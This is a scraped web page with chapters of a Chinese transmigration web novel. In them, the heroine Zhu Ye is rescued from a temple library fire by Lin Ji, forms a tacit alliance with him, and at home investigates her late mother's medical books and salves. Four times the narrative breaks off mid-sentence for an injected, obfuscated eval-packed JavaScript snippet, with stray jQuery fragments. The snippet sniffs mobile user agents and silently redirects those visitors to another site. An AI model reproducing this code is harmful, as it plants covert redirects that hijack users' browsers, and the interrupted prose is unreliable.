“多谢林公子仗义相救。”她福了一礼,语气急切,“眼下不便多打扰,奴婢这就带我家小姐回去。”
她不能让小姐继续留在这个陌生的,还是男子居住的地方。
说着,她便俯身,试图将竹曳扶起,可她身量不高,试了两次都没能成功将竹曳扶起。
林霁闻言,愣了一下,面上掠过一丝迟疑,并未立刻答话。
就在林霁尚在沉吟之迹,张大夫展现了他那成精一般的智慧,他上前一步,和颜悦色地对文心说道:“姑娘且慢,老夫观你家小姐脉象,实在是不宜轻易挪动颠簸,若是惊扰了心神,恐于康复大大不利啊!”
他顿了顿,看向依旧没什么反应的林霁,咳了一声。
林霁这才会意,说道:“不妨事,咳咳......等你家小姐醒过来再回去就好,我去外间歇息便是。”
这番话合情又合理,文心无法反驳,心中挣扎了片刻,站起身对林霁行了一礼,道了谢,便安心守在竹曳身旁。
竹曳是在一种极其舒适、神清气爽的感觉中醒过来的,她很久没有这种感觉了。完全恢复意识的时候,她首先感受到的身下略显僵硬的褥子,和有些陌生的气息,接着注意到的便是昏暗陌生的环境,以及趴在自己手边的文心和巧心。
巧心是文心在得知竹曳没事之后,又回去将这件事告诉了巧心,于是两人就一起过来陪在竹曳身边了。
【系统提示:强制昏迷惩罚已解除,宿主身体机能已恢复到最佳状态。温馨提示,请宿主谨慎处理当前人际关系。】
谨慎处理当前人际关系?这是什么意思?
竹曳皱眉,抬手揉揉眼睛,然后撑着床坐起来。
外面天色泛青,应该是快要天亮了,竹曳环顾室内,这里格局和自己的住处一样,但是内部装饰却完全不同,看起来像是谁临时停脚的地方,没有什么家具。
“巧心,文心?”竹曳伸手推推两人。
“小姐...
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701350|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
...你醒了!”
“小姐有没有哪里不舒服?”
两人醒过来,看到竹曳好好地醒了过来,皆是一喜。
“我没事,这是哪里?”竹曳安抚文心和巧心。
文心和巧心对视了一眼,文心答道:“小姐,这是林世子居住的院子。”
谁???
林世子???
林霁!!!
昨夜昏迷前的最后几个画面如同瞬间涌入脑海——藏书阁、书册、蜡烛、地上那道修长的影子......以及快要跳出胸膛的心跳......
完了完了,被发现了。
竹曳心里一惊,努力维持着声音的平稳,“那他...现在在哪?”
“林世子此时正在外间,他身边的陈大夫已帮小姐把过脉,说是并无大事。”说着,文心凑到竹曳面前,小声道:“小姐,那林似乎也未发现小姐身子如今已经好了的事实,小姐...”
文心以为竹曳的病又复发,之前在府里靠喝药躲避开柳氏派来的医生每两日的检查,但今日小姐并未喝那能够瞒天过海的药,怎么还能被诊出来毛病呢?
竹曳一时语塞,她知道文心的意思,却一时不知怎么回答。
【昨天那个陈大夫给你检查的时候,我帮你改了脉象。现在你可以告诉文心,可能是连续几天熬夜心急,所以有所复发。】
系统好不容易做一回人,竹曳心理感激,将系统的话术直接说给了文心。
文心面上未表现出疑问,只是紧紧皱眉。
“竹小姐醒了?”
一道略显低沉的男声从外间传来,竹曳循声望去,只见在帘子后面,正站着一道恍恍惚惚的人影。
“是。”竹曳答道。
只见林霁面色苍白,眼睫微微垂下,眼神无光,唇色淡淡,身上又披了一件斗篷。他整个人都被罩在那间斗篷下,配上那有气无力的语气,愈发显得虚弱易碎。
她在文心二人的搀扶下起身,目光不着痕迹地扫过林霁,注视着林霁慢慢走进来,观察他的一举一动,暗道这人似乎比上次她见的时候更弱了些。
林霁停下脚步,两人行了个礼。
“竹小姐昨夜在那片林子边晕倒了,在下刚好路过,见姑娘无论如何都叫不醒,只好先将你带来此处,我的随行大夫已为你看过......”
他刻意在此处停顿,细细地看着竹曳的反应,才缓缓接上,“......说是忧思过甚,需好生修养。”
竹曳瞥了眼站在林霁身后的陈大夫,将林霁递给自己的那杯茶接过来。
指尖触及温热的杯壁,心中一凛。
她没有喝,但握着茶杯的手渐渐发紧。
林霁为何撒谎?他应该是知道我是在藏书阁晕倒的。另外,他去藏书阁又所为何事?
刚刚那番话,既像是为了打掩护,又似乎像是以一种试探。竹曳垂下眼帘,轻声道:“多谢世子出手相救,小女子自幼体弱,让世子见笑了。昨夜有些气闷,于是便出门走了走,实在是没想到自己会晕倒,惊扰了世子。”
林霁嘴角牵起一抹意味不明的浅笑,伸手握拳抵在嘴边,“咳咳,那竹小姐还是小心些,寺中清寂,保重身体为要,若是让竹大人知道爱女在寺中‘忧思过甚’,怕是咬心疼不已了。”
他刻意重复了那四个字,话语中有意提醒竹曳。
似乎是在提醒竹曳,我知晓你在装病,也知晓你有秘密。
16. 月下联盟
竹曳听出了他话中的弦外之音,大脑飞速运转。他为何不直接揭穿?到底有什么目的?难道......他一直在暗中观察自己?
“不知世子......”竹曳放下茶杯,眸光微敛,“昨夜在藏书阁,可曾见到什么不同寻常之物?”
林霁抬眼望着她,外面晨光微熹,竹曳的面庞清晰地映在他眼中,那神情里带着几分试探,又藏着几分警惕。
还不能很好的隐藏自己的情绪。
“昨夜藏书阁,最不寻常的——”林霁语气平淡,听不出情绪,“大约就是竹小姐你了。”
竹曳心口一跳,知晓他们两人已经将事情挑明了,但却仍然心照不宣地点到为止。她强装镇定,细细打量眼前的少年,不到二十岁的年纪,眉宇之间却已隐隐有了不怒自威的气度。
晨光透过窗纸,悄然漫入室内。
“昨夜之事,多谢世子相救,”竹曳不想再多说,起身敛衽,“我就先行告辞了。”
·
傍晚时分,寺庙被笼罩在一片沉静之中,白日的香火在此时开始慢慢散尽,只剩下晚风吹过树木传来簌簌声响。
竹曳倚在院子里的石桌上,后天她们就要启程回府了,若是想要再寻找这边的线索,恐怕是难上加难。
这几日以来,她没有再前往藏书阁。那天与林霁那张心照不宣的交锋,言犹在耳,让她心绪难评。
他究竟知道了多少?又为何出手相救?这些疑问盘旋在心头,她已经注意那院落好几天了,都没看到过林霁。
难道是已经走了?
是夜,竹曳再次换上便利的衣服,踏上了前往藏书阁的路。
回去之前再不去找,就没机会了。
另一边,林霁并未像竹曳想的那样离开慈恩寺,他临窗而立,指尖无意识地摩挲着一枚黑色的戒指。屋内没点灯,林霁的面容隐于黑暗之中。
注意到竹曳离去的身影,林霁的眉头皱起。
她又要去藏书阁么?可是今晚...有要紧的事情发生。
他并未犹豫太久,身形微动,远远跟在竹曳的后面。
一路上安静的有些反常,竹曳紧了紧衣领,加快前行的脚步。照着记忆中的路潜入藏书阁,她直奔之前的那个地方。
时间一分一秒过去,竹曳正加速将有用的东西记下来。突然,外面传来一阵极其轻微的声音。
她浑身一僵,立刻屏住呼吸,侧耳倾听,又是谁来了?
预想中的脚步声并未到来,取而代之的,是一股骤然升起来的灼热又刺鼻的浓烟!
“走水了!走水了!快来人啊——!”
不知是谁大喊了一声,原本寂静的寺庙瞬间被打破。
锣声、呼喊声、杂乱的脚步声由远及近,迅速朝着藏书阁的方向汇集。
火势起的极快,烈焰舔着木头架子快速掠过来,浓烟迅速蔓延,竹曳被呛得咳嗽,她不知道具体是哪个位置起火,只能下意识朝着来时的方向跑过去。
前几天竹曳那句话一语成谶,藏书阁竟真的起了火。
浓烟滚滚,热浪扑面而来,碳化的碎纸如同落叶那般在空中飘舞。竹曳被呛得连连咳嗽,视线也逐渐模糊,她试图冲出去,却接连被灼热的气浪逼退,火星溅上衣摆,瞬间烫出几个焦黑的洞来。
竹曳心里着急,腿脚发软,就在她心生绝望之际,一个身影从远处冲出来,毫不犹豫地冲到她面前。
“走!”
不容置疑的声音响起,竹曳的胳膊被一只有了的手攥住,是林霁!
他用手中的断刃割下自己浸湿了的衣摆一角,迅速塞入她的手中,捂住口鼻!”
火势愈来愈大,根本无法通过,在晃动的火焰和浓烟之下,林霁的话音刚落,另一道手里持着利刃的身影竟突然破出浓雾,正目标明确地朝着她的背后袭来。
“小心!”
林霁反应奇快,他猛地将竹曳往怀里一带,旋身错步,同时侧身躲开攻击,一记凌厉的侧踢将偷袭者踹飞出去。
竹曳只觉得天旋地转,被他紧紧头箍在怀中。她被林霁带着就地一滚,险之又险地避开窜过来的火舌,也躲开了一个轰然倒塌的书架。
“砰——!”
躲过一个还有一个,沉重的木板砸在林霁的脊背上,发出一声闷响。
“嗯......”一声压抑的闷哼从他喉间溢出。
他受伤了!竹曳心里一沉,此刻,林霁扎高的发丝散在肩上,拂过竹曳的脸,她早已经无暇去想林霁为何会再次出现。
“你没事吧!”
“没事,这边走!快!”
林霁的声音里带着一丝急促,但依旧冷静,他显然对周围及其熟悉,拉着她在烈焰与之间穿梭,左拐右拐便到达一处小门。
“走!”
林霁先把竹曳推了出去,自己垫后。
“纵火的人在这边——在这——抓住她!”
“抓住!别让她跑了!”
身后追兵已到!林霁眼里透出一股寒气,这是怎么回事?怎么和来信中说的不一样!
但是来不及了,他在迈出门的最后一刻反手大力将门合上,将身后的追兵狠狠拍在门后。
“啊!!!”
门板狠狠砸到追上来的人的脸上,那人哀嚎着仰面倒下,鼻血瞬间流淌下来,身后传来气急败坏的怒吼:
“给老子追!别让纵火贼跑了!”
但已经晚了,这里靠近桃林,夜色深沉,树影绰绰,两人早已不见了踪影。
今夜的天格外的黑,飘云又将月亮挡住,当真是什么都看不清。夜里路不好走,两人又没走正路,他们不敢停留,只能就这么一边在林子里穿梭一边深一脚浅一脚地摸索前行。
今夜藏书阁的火早有预谋,林霁知道是哪方人马下的手,他本想将计就计,反正自己想要找的东西已经被别人拿走了,那倒不如浑水摸鱼看场好戏。
那夜遇到竹曳的隔天下午,他就对外传了消息,说自己修养结束即将回府。
既能避免有人将今日的火联想到自己头上,还能给自己留下看戏的机会。
可谁知竹曳她又......
想到这,林霁轻轻叹了口气,他也不知道怎么回事,方才在后面跟的好好的,突然又返回去往身上倒了些水,衣服都湿了大半。
也不知道这竹家大小姐找到自己想要找的东西没有......
等到听不到后面追赶的声音了,两人才扶着一棵老树停下来。
竹曳靠在树干上,跑的气喘吁吁,嗓子里又干又疼,她用力咽了几下,勉强平复呼吸,担忧地看向林霁:
“你、你还好吗?刚刚伤的怎么样...要不要紧?”
林霁与竹曳靠着同一棵树,暗自调息,心想要不是自己衣服是湿的,阻隔了部分热气,再加上武功厉害一些,现在恐怕半条命都要没了。那伙人估计是想陷害他人,错把他们两个认成了目标。
“无妨,不重,皮外伤。”
他从怀里掏出来个不到半个巴掌大的白玉瓶子,从里面倒出来两颗褐色小药丸,自己一口吞掉一粒,又将手递到竹曳面前,示意她也吃掉。
竹曳不明所以,睁着大眼睛看着林霁,略有迟疑。
林霁似是看穿她的心思,无奈道:“张大夫做的药,对身体有好处,吃吧,我若是想害你,方才还何必冒险救你。”
竹曳依言小心的捏起来放进嘴里,皱着一张小脸吞下去。
这药苦的要命,竹曳心想怪不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724863|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得林霁刚刚直接吞掉了,早知道自己也直接咽下去。
“谢谢你。”竹曳缓了口气,接着诚心道:
“这个药和...和刚才的救命之恩都谢,要不是你,我可能已经躺在那了。”
竹曳现在想想还心有余悸,刚才真是惊险,火卷的比人还高,热浪扑在脸上,烟弥漫的到处都是,气进不去也出不来,能将人憋死。
“嗯。”
竹曳听着林霁嗯一声,心里突然有点没底,这是什么意思?是生气了?觉得自己的诚意不够?还是想干什么?
她又回想起自己以前看的那些小说电视剧的情节来,里面都说,救命之恩要以身相许......
哎呦不行不行,这种想法可不对,再说林霁放到现代也就高中的年纪......
竹曳赶紧摇摇头,把这念头摇出脑袋。
就在她斟酌着再说几句感谢的话,发点什么“若有事,必跟随”的誓言的时候,林霁突然说话了。
“你究竟在查些什么?”
“你又在查什么?”
竹曳嘴巴很不上脑子,这句话说出来的时候才反应过来不太合适。
人家毕竟救了自己的命,那么大的恩情...自己还在这反问上了。
她见林霁挑眉,对方显然也是未料到她会如此回应,于是轻笑一声。
“咳咳...嗯...我自然是有我想要知道的事情...”
“不方便说么?”
“应该是吧......”
什么系统什么穿越这种事肯定是不能说出来的,那查明原主生母死亡真相呢?能不能说出来?竹曳心里算着,她突然有了新的计较,探求真相这件事靠着自己肯定是难办,巧心和文心虽然能帮自己,可也顶多也就起个陪伴的作用,但若是身边能有个盟友的话......
可是,林霁会帮助自己吗?他能信任吗?
她的目光再次落到林霁身上,云不知何时溜走了,月亮露出脸,透过树间的缝隙照亮一点四方地,照亮年轻却沉稳的面容。
竹曳看着眼前这个少年,他的身份、能力无一不暗示着这是最适合的盟友。或许,她可以赌一次。
就是不知对方的意思了。
她深吸一口气,仿佛下定了某种决心,迎上他带着探究的目光。
“也不是完全不能说,”竹曳的声音很轻,却格外清晰的传入林霁的耳中,“我在查...我母亲真正的死因。”
真正的死因?林霁眯了眯眼,其中果然另有隐情么?他并未打断竹曳的话,只静静地听着。
“府中上下皆知,当年我母亲她是失足掉入湖里才...”竹曳说道此处,甚至有些哽咽,她斟酌着用词,“——但是我始终不信,只是过去人微言轻,苦于无力查找。如今有了些机会,便想查一查当年的一些事情。”
她点到为止,既没有说为何不信,也未透露已掌握的线索。
林霁沉默片刻,递给他一方帕子,“所以,你屡次涉险,是为了给你母亲求得一个真相。”
“是。”竹曳看向林霁,“那世子你呢,你两次出手救我,总不会都是路见不平,顺手做件好事吧?”
竹曳微微一笑,“而且,林世子现在这副样子可不像是得了什么重病。”
林霁闻言,嘴角牵起一个近乎于无的弧度,“困兽犹斗罢了,”他语带双关,“每个人都有自己的任务,我所做的,无非是盼望着能够各司其职,让诸事回归其本该在的轨道罢了。”
说完,他又看向竹曳,目光清澈:“竹小姐既然怀疑我,那住竹小姐呢?莫非当真只是来此处静心礼佛?”
四目相对,两人相视一笑,无需再多言语,彼此的意思、彼此之间的处境,皆已明了于心。
17. 往事飞来
朱红色的大门缓缓开启,管家带着几个仆人在门口迎接,规矩周全,样子也做的足,但里里外外都透着几分疏离。竹曳被扶着走下马车,她抬头望了眼门上的“竹府”两个大字,心里竟然生出几分恍如隔世的感觉。
不过半个月,当时离开府前往慈恩寺的时候,她还是一个在府里默默无闻、像个小透明一样的嫡女。
现在归来,心里有了一些其它的感觉。
“小姐,一路辛苦了。”管家上前行了一礼,语气恭敬却也透着梳理,“夫人吩咐了,请您回府后先去她院里一趟。”
该来的总会来,竹曳微微颔首,恰到好处的表现出一些奔波了一路的疲惫,“有劳了,我换身衣裳便去。”
竹曳今日回来的路上,在脸上摸了一些粉,此刻看上去脸色略微有些苍白,透着疲劳,她由着文心和巧心扶着自己往前走。
院内。
柳氏正端坐在主位上品茶,颇有气派,见到竹曳进来,她放下手中的茶盏,目光落到竹曳身上,将其从头到脚仔细打量了一番,看起来似乎有些挑剔。
“回来了?”柳氏声音淡淡,“在慈恩寺修养了一段时日,瞧着起色倒是好了些。”
“是,寺中清净,女儿跟着吃斋念佛,抛下些烦心事,身子是轻松了不少。”她垂眸小声答道。
竹曳想赶紧应付回去,虽然一路上是坐在车里,可也是颠簸了许久,现在只想好好躺着。
柳氏却突然冷了脸,冷哼一声,道:“那我怎么听说,临回府前,寺里还走了水,闹得沸沸扬扬?这事你知道么?”
竹曳心里咯噔一下,消息竟然传的这么快?柳氏找她果然没什么好事,她面上露出一些后怕与惶恐,低声道:“回母亲,确有其事,前夜寺中藏书阁不知何故起了火,只是女儿当时已在房中歇下,并不知其中具体因由,早上起来得知这件事的时候也是被吓得不清。幸好...幸好火势及时被僧人控制,未曾蔓延。”
她半真半假地说着,将受惊的形象扮演地淋漓尽致。
柳氏盯着她看了片刻,眼神锐利。旁边的钱嬷嬷见茶凉了,默默换了新的添进去,插话道:“夫人,依我看,小姐没事就是万幸,这一路颠簸,不如早些让她回去歇息?”
嗯?
竹曳看向钱嬷嬷,怎么回事,太阳打西边出来了?她会这么好心?这还是那个当初逼着她去会客厅见客人的钱嬷嬷吗?怎么半个月不见还换了角色了。
柳氏未理会钱嬷嬷,而是接着仔细打量了竹曳片刻,似乎想从她脸上找出些什么破绽。半晌,她才慢悠悠地说道:“既然是意外,人没事便好,你这孩子——似乎总是与‘意外’有缘呐,总也不安分些。”
柳氏的声音越来越轻,不一会儿,她长长叹了口气,接着说道:“你从小便体弱多病、多灾多难......这次去寺中静养竟然也能遇上走水......”
竹曳悄悄抬头打量柳氏,柳氏似乎是陷入了什么回忆之中,她紧紧地闭了闭眼睛,待再睁开时,面上已换上一副不耐烦的表情。
“竹曳,你给我听好了,你是竹家的嫡女,一言一行都代表着竹家!要时刻竹注意着自己的言行举止,谨言慎行!莫要再行差踏错,去沾边那些你不该碰的东西,给自己招来祸患!”
最后几句,柳氏说的又急又重,她似乎是在警告竹曳不要做一些与她无关的事情。
竹曳垂手,恭敬应道:“是,女儿谨记教诲。”
她心里七上八下,低身行礼,在柳氏看不到的角度,她的眉头紧紧皱起,难道柳氏知道了什么?可是......可是她又是怎么知道的。
难道只是在虚晃一枪,想诈自己?
“回去吧,好生歇着,既回了府,就好好收收你的心,千万莫要再想一些有的没的。”柳氏似是终于想要放过了竹曳,她挥挥手,像是赶苍蝇那般。
待竹曳一路思索着回到自己偏僻安静的院落,巧心和文心两个丫鬟早就已经眼巴巴的在等着了,见到竹曳安全归来,皆着向欢喜着迎上去。
“小姐!您可算回来了!”巧心蹦跳着。
“小姐,夫人这次是不是又发难了?小姐可千万别放在心上,那柳氏向来不待见咱们,这么多年冷言冷语的,不知道的还以为欠了她什么!”
竹曳看着忧心自己的两个小姑娘,心里一暖,这是她在这个世界为数不多可以信任的人。
“我没事,虚惊一场,就问了一些话而已。”她安抚文心和巧心,转而说道:“我们进屋说。”
等到文心严严实实关上了门,几人进到里屋,竹曳才低声说道:“慈恩寺失火的事情她已经知道了。”
文心讶然:“怎么这么快就知道了?”
竹曳答是,接着又说道:“而且,我感觉她其实已经知道这些天咱们在慈恩寺做的事情了,刚刚她话里话外都在提醒我不要做些不该做的。”
巧心着急道:“这可怎么办,大夫人不会给咱们下绊子吧!”
竹曳担忧的是另一件事,按理来说到藏书阁查东西除了他们三个就只剩下林霁知道,那如果她真的发现了,又是从哪里得知的呢?
竹曳拍怕巧心胳膊,安抚道:“我也只是猜测,既然她没有明说,那咱们就做咱们该做的,只不过......要是她真的知道我去藏书阁查东西,那咱们以后得万分小心——”竹曳降低了音量,“小心她是不是找人在跟踪咱们——”
巧心小声呼了一声,紧接着伸手捂住嘴,“小姐!那咱们以后可得提防些了!”
几人正说着,李嬷嬷从外间进来,她走到竹曳面前。
“小姐,前两日库房收拾,他们在角落发现了咱们先夫人留下的一些旧物,之前一直都收在库房角落的箱子里,今日仔细清点的时候才翻出来,我就叫人将那些东西全都收到了大箱子里。”
是母亲的旧物?
竹曳心中微微一动:“东西在哪?”
李嬷嬷接着说道:“那小厮刚刚将箱子搬过来,眼下正在院子里等着呢。”
竹曳:“去看看。”
院子里,一大一小两个箱子正并排摆着。竹曳看向旁边站着的两个小厮,说道:“麻烦了,你们先回吧。”
待小厮离开,文心、巧心立刻上前将那箱子打开。
竹曳凑过去看,里面并非什么金银珠宝,而是一些看似寻常的物件,几本泛黄的旧书,一叠缺失了边角的信笺,几个精美的瓷器,还有几个空瓷盒。
她先拿起那几本旧书,都是些常见的医书,里面夹杂着不少手写的批注,字迹清秀灵动,其中涉及到一些草药,甚至还画了图解在旁边。
竹曳草草翻阅了一会儿,看到里面还有几处关于某些毒物表征、解法的详细记录。倒是没想到原主的生母竟然也会这么多医术,她心跳不由得加快了几分,将其整齐摆放在一旁,打算自己也看一看。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807999|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
随后,竹曳的目光落到那几个小空瓷盒上。她小心的拿起,用手绢擦了擦上面的灰尘,入手微沉,打开后里面是一些更小的盒子,有的装着膏,有的装着粉末。
竹曳不知道里面是什么,不敢贸然伸手,过了这么多年,说不定早就变质了,她小心的合上盖子,没有再碰。
“小姐,这些是什么呀,盒子还挺好看的。”巧心问道。
竹曳将手中的瓷盒放回箱子,“我也不知道,可能是一些香膏吧。”
文心道:“听说先夫人做香膏特别厉害,早先多少人不惜出大价钱只为求咱们先夫人做的香膏呢。”
李嬷嬷听了这话,叹道:“是啊,先夫人熟悉医术,各种药材的习性熟练地很,制出的香更是厉害,唉,可惜了......”
医术?制香?难道母亲的死和这个也有关吗?
竹曳突然反应过来,她脑中灵光一闪,怎么把李嬷嬷忘记了!李嬷嬷从原主生母小时候就跟在身边,又是从小看着原主长大的,肯定知道很多事情!
她看向李嬷嬷,语气放缓,“嬷嬷,我娘她......平日里除了制香和医术,还喜欢做什么吗?关于我娘,我想知道的更多些事情。”
李嬷嬷沉沉叹了口气,伸手招来人,叫他们把刚刚那些东西都妥善收好。
随即李嬷嬷拉着竹曳进屋,一边走一边说道:“你和你娘长得像,性子也像。从小到大,你也没怎么跟我问太多你娘的事儿,怎么最近非要知道这么多?”
她把门关上,又压低了声音,“你同嬷嬷说实话,这十几日,在那慈恩寺都做了些什么?我可是听说了着了好大的火,烧了不少东西,连老爷一大早都被急匆匆叫进宫中,这到底是怎么回事?”
竹曳心里吃了一惊,真是没想到消息竟然都传到这来了。
“没事嬷嬷,可能是燃着的蜡烛倒了,就烧起来了,那寺里都是些木头书籍的,可不就容易起火?”
竹曳伸手压着李嬷嬷坐下,伸手倒了杯水,她今天非要打探出来点事情。
“嬷嬷您喝茶,我如今长大了,就想知道写娘亲的往事,您就告诉我吧。”
李嬷嬷接过水抿了一口,深深地看她一眼,伸手捋顺她耳边的碎发。
“唉,也罢,你现在也长大了,有些自己的想法......”李嬷嬷终于松口,陷入回忆当中,“你娘她,从小就心善,性子也执拗。那年,你父亲去到岭南,被罕见毒虫所伤,倒在路边。恰逢你娘上山采药回来,就将你父亲救回了家中。她自幼学习医术,尤其对制毒解毒感兴趣,就拿你父亲练手。几日后,这毒解了,你娘也非闹着要跟着他来到京城!
“唉,她是家里最小的女儿,自小千娇百宠,自然是想要什么就给什么,家中老爷夫人见实在拗不过,只得同意了这门亲事,没多久,你娘便千里迢迢来到了京城,我也跟着照顾她。
“她喜欢研究医药,还喜欢制香,制出来的香在京城很是有名,重金难求。可后来......后来不知怎的,她突然就不愿意再做了,再加上生了你,渐渐也就就放下了那些东西,只偶尔做些自家用。
“再后来,就是突然去世......”
李嬷嬷声音哽咽,语气里藏着悲伤,她从沈兰芝小时候就跟在身边照顾,后来更是一路跟着来到离家万里的京城。
竹曳拿着帕子替李嬷嬷吸去眼泪,她知道那未尽之言里,是无尽的悲痛。
18. 表面佛系,背地搞事
李嬷嬷声音里带着点哽咽,她抬手按了按眼角,勉强笑道:“瞧我,一不小心就说多了。你这一路舟车劳顿,回来又被叫去问话,快快歇着吧。”
竹曳估摸着再也问不出什么来了,方才得知的这些内容已经很有用了,她按住李嬷嬷的手,温声道:“嬷嬷,我都知道了,您也去歇着吧,我娘那些旧物,我想自己留着慢慢整理,让下人们先放在那就好。”
李嬷嬷出去后,房间里只剩下竹曳一人,她独自坐在桌边,为自己倒了杯茶,听着外面文心、巧心俩人嬉闹的声音,将李嬷嬷的话又在心里过了一遍。
母亲远嫁而来,擅长医术与制香气,既然制毒如此厉害,那么......制毒,恐怕也是极为精通。但为何来到京城名声鹤起之后,却突然几乎不再碰这些?究竟是因为什么让她放下了这些?
那么最终离奇去世,是否也跟这有关系呢......
竹曳突然想到了什么,她倏然起身,快步走到被收起来的那两个箱子处,将方才那些瓷盒和书全都拿出来搬进内室。
她小心地打开其中一个,没敢上手直接触碰,而是拔下发间的簪子,小心的挑出一些膏体抹到一张纸上,放在鼻下仔细嗅闻。除了一股放了很久难以形容的闷味,确实隐约还有一些极淡的药气味。
她凝神仔细观察着纸上的东西,上面隐约可见有些细微的颗粒,仔细凑近看才能发现一点。用簪子轻碾,触感坚硬,不像是寻常脂膏凝固之物。
竹曳猜测里面应该还用了某种矿物。
她又取了一截蜡烛,用火折子点燃,靠近还沾着膏体的簪子处小心烘烤,那点膏体在高温下逐渐有些软化的迹象,冒出极淡的青烟来,药味闻着也更明显些。
这究竟是香还是毒?经过了这么多年,是否已经失效或者变质了?这些竹曳无从判断,她只能先将这些东西拿帕子擦干净,全都收进了柜子中。
剩下的那些书籍,竹曳也拿干帕子擦了擦,拂去灰尘,全都堆放在书案上,打算得空了翻一翻。
站在原地想了一会儿,竹曳又将其全都搬到不起眼的墙角落处,另外又拿了些废纸放在上面,将那些书全都挡住。若是原主生母的死真的与她擅长制毒有关,那么这些东西就不能摆在明面上。
不过她需要时间去验证,但怎么验证又成了问题,瓷盒子里面的东西毒性未知,解药也没有,那拿什么来试验呢?
几日后,机会悄然来临。
竹曳一早起来就坐在书桌旁翻看母亲留下来的医书,有前世那些医学知识,这些东西阅读起来并不困难。
但是说起来也奇怪,这书中很多晦涩难懂的地方,旁边都有密密麻麻的小字做了批注,看起来似乎还是两个不同人的字迹。竹曳小心地辨认着,一种字迹略显潦草不羁,另一种字迹倒是规规矩矩。
正当竹曳凝神看书的时候,柳氏过来了。
她的到来毫无预兆,李嬷嬷一早起来不知道去做什么了,文心与巧心结伴出府买东西,眼下也没有人能提醒竹曳,一下子打的她猝不及防,只得手忙脚乱的找了几张纸挡在上面。
柳氏只带了钱嬷嬷一个人,脸色看着比平日里更显得阴郁些。
竹曳不知道她突然过来要做什么,快速地站起来,躬身行礼。
“母亲。”
柳氏的目光依然毒辣,她先在竹曳的身上扫视一圈,随后落到旁边的书案上,她没立刻说话,而是径直走到窗边的椅子上坐下,钱嬷嬷垂着手无声立在她的身后。
“母亲过来...是有什么重要的事情要吩咐女儿吗?”竹曳小心张口,将柔弱的形象拿捏得恰到好处。
柳氏缓缓张口,声音淡淡,“你堂兄柳文轩被调来京城,过两日便到。此番进京,要来府上暂住上一段时日,你父亲的意思是,让你们小辈之间多走动走动。”
竹曳心中一动,柳文轩这人倒是从未听说过,听名字像是柳氏那边的亲戚。
她面上温顺地应着,“是,女儿知道了。”
“知道?”柳氏看她一眼,语气里带着警告,“若是当真让你们互相来往,我还会来专门来你这提点?”
她冷哼一声,“我今日过来,就是告诉你,无论你爹日后跟你说什么,你都要离那柳文轩远点!莫要被他那副殷勤嘴脸糊弄了,无论柳文轩到时候跟你说什么,都少听少做,某要有任何牵扯,也莫要起些别的心思。你只需安分待在府中,读些你该读的书便是,可听明白了?”
竹曳心头一凛,越发觉得奇怪,嘴上却乖乖应道:“是,女儿谨遵母亲教诲”。
嘴上却说着些明白了之类的话,心里却愈发的想要看看这柳文轩到底是什么人,能让柳氏亲自过来和她说。
柳氏见竹曳答应了,心里似乎松了口气,却又似乎更加烦躁,她长长叹了口气,伸出手来,似乎是想随便翻翻竹曳近几日都看了什么。
竹曳眼睁睁的看着柳氏的手朝那遮掩的书册伸过去,还未来得及出声阻止,柳氏就已经将那本书拿了起来。
草草翻了两下,竹曳看着柳氏的脸色变得极其难看,方才的阴郁瞬间被惊怒取代。
“这...这书你是从哪里翻出来的?”她厉声质问竹曳,“谁给你的!还有没有了?统统拿出来!”
竹曳没料到柳氏的反应竟然这么大,就连身后钱嬷嬷都变了脸色。
她被吓的后退半步,勉强稳住心神,结结巴巴地小声解释,“是...是前几日库房请点,就找出来了些,找出来了些我母亲的旧物......”
“旧物?谁准你碰这些的!”她朝向钱嬷嬷的方向转头,“库房请点,为何不先将清单交来我审查!”
不等钱嬷嬷说话,柳氏就又出声质问,“你娘就是因为整天捣鼓这些乱七八糟的东西,才......”话说道嘴边,却又硬生生刹住,只剩下满腔的怒火与排斥。
柳氏厉声追问:“除了这本,还有其它的吗!”
竹曳一副被吓到了的模样,轻声回复道:“没,没有了..
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841367|187689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
....”
